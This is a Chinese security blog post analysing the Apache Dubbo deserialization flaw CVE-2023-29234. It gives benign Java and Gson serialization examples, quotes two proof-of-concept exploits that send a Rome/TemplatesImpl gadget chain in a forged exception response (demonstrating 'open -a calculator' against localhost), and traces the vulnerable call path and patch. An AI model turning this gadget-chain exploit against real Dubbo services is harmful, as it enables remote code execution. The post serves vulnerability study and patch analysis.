【反序列化漏洞】关于反序列化漏洞的杂谈1 -- Apache Dubbo 反序列化漏洞 CVE-2023-29234

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 前言
  • 一、经典的序列化过程
  • 二、反序列化漏洞案例
    • 1. Apache Dubbo 反序列化漏洞(CVE-2023-29234)
    • 2.解析漏洞问题
      • POC1解析:
  • 引用


前言

反序列化漏洞也被称为"unserialization vulnerability"。它存在于那些允许将对象从字符串或二进制数据转换回原始对象的应用程序中。反序列化漏洞的问题在于,恶意用户可以构造特殊的序列化数据,通过应用程序的反序列化过程来执行恶意代码。这可以导致应用程序在反序列化过程中执行任意的代码,包括读取、修改或删除应用程序的敏感数据,或者在应用程序上下文中执行不受控制的操作。


一、经典的序列化过程

比如JAVA常见的序列化的例子

import java.io.*;

public class SerializationExample {
    public static void main(String[] args) {
        // 创建Student对象
        Student student = new Student("John", 20, "Computer Science");

        // 将Student对象序列化保存到文件中
        try {
            FileOutputStream fileOut = new FileOutputStream("student.ser");
            ObjectOutputStream out = new ObjectOutputStream(fileOut);
            out.writeObject(student);
            out.close();
            fileOut.close();
            System.out.println("Serialized data is saved in student.ser file");
        } catch (IOException e) {
            e.printStackTrace();
        }

        // 将保存的文件反序列化为Student对象
        try {
            FileInputStream fileIn = new FileInputStream("student.ser");
            ObjectInputStream in = new ObjectInputStream(fileIn);
            Student serializedStudent = (Student) in.readObject();
            in.close();
            fileIn.close();
            System.out.println("Deserialized Student:");
            System.out.println("Name: " + serializedStudent.getName());
            System.out.println("Age: " + serializedStudent.getAge());
            System.out.println("Major: " + serializedStudent.getMajor());
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

class Student implements Serializable {
    private String name;
    private int age;
    private String major;

    public Student(String name, int age, String major) {
        this.name = name;
        this.age = age;
        this.major = major;
    }

    public String getName() {
        return name;
    }

    public int getAge() {
        return age;
    }

    public String getMajor() {
        return major;
    }
}
 

又比如JSON序列化的例子

import com.google.gson.Gson;

public class SerializationExample {
    public static void main(String[] args) {
        // 创建Person对象
        Person person = new Person("John", 20);

        // 将Person对象序列化为JSON字符串
        Gson gson = new Gson();
        String json = gson.toJson(person);
        System.out.println("Serialized JSON: " + json);

        // 将JSON字符串反序列化为Person对象
        Person deserializedPerson = gson.fromJson(json, Person.class);
        System.out.println("Deserialized Person:");
        System.out.println("Name: " + deserializedPerson.getName());
        System.out.println("Age: " + deserializedPerson.getAge());
    }
}

class Person {
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public int getAge() {
        return age;
    }
}
 

二、反序列化漏洞案例

1. Apache Dubbo 反序列化漏洞(CVE-2023-29234)

以下内容为引用的是RacerZ的POC。
利用方式1:fake server —内网如果zookeeper未授权,可以用fake producer攻击consumer

@Override
    protected void encodeResponseData(Channel channel, ObjectOutput out, Object data, String version) throws IOException {
        Result result = (Result) data;
        // currently, the version value in Response records the version of Request
        boolean attach = Version.isSupportResponseAttachment(version);
//         Throwable th = result.getException();   
         Object th = null;  // 利用点: 用于 toString 的 gadget chain
         try {
                th = getThrowablePayload("open -a calculator");
            } catch (Exception e) {

            }

        if (th == null) {
            Object ret = result.getValue();
            if (ret == null) {
                out.writeByte(attach ? RESPONSE_NULL_VALUE_WITH_ATTACHMENTS : RESPONSE_NULL_VALUE);
            } else {
                out.writeByte(attach ? RESPONSE_VALUE_WITH_ATTACHMENTS : RESPONSE_VALUE);   
                out.writeObject(ret);   
            }
        } else {
            out.writeByte(attach ? RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS : RESPONSE_WITH_EXCEPTION);
//            out.writeThrowable(th); 
            out.writeObject(th);    // 直接序列化对象即可
        }

        if (attach) {
            // returns current version of Response to consumer side.
            result.getObjectAttachments().put(DUBBO_VERSION_KEY, Version.getProtocolVersion());
            out.writeAttachments(result.getObjectAttachments());
        }
    }

利用方式2:客户端打服务端 ----利用producer 横向移动consumer

public static void main(String[] args) throws Exception {

        ByteArrayOutputStream boos = new ByteArrayOutputStream();
        ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();
        Serialization serialization = new NativeJavaSerialization();
        NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);

        // header.
        byte[] header = new byte[HEADER_LENGTH];
        // set magic number.
        Bytes.short2bytes(MAGIC, header);
        // set request and serialization flag.
        header[2] = serialization.getContentTypeId();

        header[3] = Response.OK;
        Bytes.long2bytes(1, header, 4);

        // result
        Object exp = getThrowablePayload("open -a calculator"); // Rome toString 利用链
        out.writeByte(RESPONSE_WITH_EXCEPTION);
        out.writeObject(exp);

        out.flushBuffer();

        Bytes.int2bytes(nativeJavaBoos.size(), header, 12);
        boos.write(header);
        boos.write(nativeJavaBoos.toByteArray());

        byte[] responseData = boos.toByteArray();

        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(responseData);
        outputStream.flush();
        outputStream.close();
    }

    protected static Object getThrowablePayload(String command) throws Exception {
        Object o = Gadgets.createTemplatesImpl(command);
        ObjectBean delegate = new ObjectBean(Templates.class, o);

        return delegate;
    }

2.解析漏洞问题

查看漏洞补丁更新点:【反序列化漏洞】关于反序列化漏洞的杂谈1 -- Apache Dubbo 反序列化漏洞 CVE-2023-29234_第1张图片
对于方法的抛出异常部分做出了更改,这里可以看出没有更改前使用“+”来拼接一个字符串和一个对象。编译器会调用obj对象的toString()方法来获取它的字符串表示形式。(如果编译器遇到一个对象作为字符串的一部分时,它会自动调用对象的toString()方法来获取对象的字符串表示形式。)这里涉及了tostring()方法的隐式调用。

溯源发现在该函数的 switch-case 语句的 DubboCodec.RESPONSE_WITH_EXCEPTION 分支处调用

//下面的函数调用了readThrowable()
    private void handleException(ObjectInput in) throws IOException {
        try {
            setException(in.readThrowable());
        } catch (ClassNotFoundException e) {
            rethrow(e);
        }
    }

//下面函数调用了 handleException()
    @Override
    public Object decode(Channel channel, InputStream input) throws IOException {
        if (log.isDebugEnabled()) {
            Thread thread = Thread.currentThread();
            log.debug("Decoding in thread -- [" + thread.getName() + "#" + thread.getId() + "]");
        }

        int contentLength = input.available();
        setAttribute(Constants.CONTENT_LENGTH_KEY, contentLength);

        // switch TCCL
        if (invocation != null && invocation.getServiceModel() != null) {
            Thread.currentThread()
                    .setContextClassLoader(invocation.getServiceModel().getClassLoader());
        }
        ObjectInput in = CodecSupport.getSerialization(serializationType).deserialize(channel.getUrl(), input);

        byte flag = in.readByte();
        switch (flag) {
            case DubboCodec.RESPONSE_NULL_VALUE:
                break;
            case DubboCodec.RESPONSE_VALUE:
                handleValue(in);
                break;
            case DubboCodec.RESPONSE_WITH_EXCEPTION:
                handleException(in);
                break;
            case DubboCodec.RESPONSE_NULL_VALUE_WITH_ATTACHMENTS:
                handleAttachment(in);
                break;
            case DubboCodec.RESPONSE_VALUE_WITH_ATTACHMENTS:
                handleValue(in);
                handleAttachment(in);
                break;
            case DubboCodec.RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS:
                handleException(in);
                handleAttachment(in);
                break;
            default:
                throw new IOException("Unknown result flag, expect '0' '1' '2' '3' '4' '5', but received: " + flag);
        }
        if (in instanceof Cleanable) {
            ((Cleanable) in).cleanup();
        }
        return this;
    }

调用链大概是从 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcResult#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream) —》handleException() —》ObjectInput.readThrowable() —》obj.toString()。

POC1解析:

主动构造供应链使用上面的toString()方法来替换Throwable 的th实例,在encodeResponseData里面进行重写。
原encodeResponseData代码如下:

@Override
    protected void encodeResponseData(Channel channel, ObjectOutput out, Object data, String version)
            throws IOException {
        Result result = (Result) data;
        // currently, the version value in Response records the version of Request
        boolean attach = Version.isSupportResponseAttachment(version);
        Throwable th = result.getException();
        if (th == null) {
            Object ret = result.getValue();
            if (ret == null) {
                out.writeByte(attach ? RESPONSE_NULL_VALUE_WITH_ATTACHMENTS : RESPONSE_NULL_VALUE);
            } else {
                out.writeByte(attach ? RESPONSE_VALUE_WITH_ATTACHMENTS : RESPONSE_VALUE);
                out.writeObject(ret);
            }
        } else {
            out.writeByte(attach ? RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS : RESPONSE_WITH_EXCEPTION);
            out.writeThrowable(th);
        }

        if (attach) {
            // returns current version of Response to consumer side.
            result.getObjectAttachments().put(DUBBO_VERSION_KEY, Version.getProtocolVersion());
            out.writeAttachments(result.getObjectAttachments());
        }
    }

这段代码中如果响应结果有异常,则写入字节0x03,表示响应结果包含异常,并使用ObjectOutput的writeThrowable()方法将异常信息写入字节流。这个地方在POC里面直接被替换成为out.writeObject(th); 直接序列化对象,将恶意代码写入字节流。

引用

https://xz.aliyun.com/t/13187?time__1311=mqmxnDBDcD2A0=KDsD7mj5a=iNe0K3Irx&alichlgref=https://xz.aliyun.com/t/13187#toc-3
https://github.com/apache/dubbo/blob/14814a4393da20bfbcb3e2e942df9e78f1cded74/dubbo-rpc/dubbo-rpc-dubbo/src/main/java/org/apache/dubbo/rpc/protocol/dubbo/DubboCodec.java#L273

你可能感兴趣的:(apache,dubbo,安全,网络攻击模型,安全威胁分析)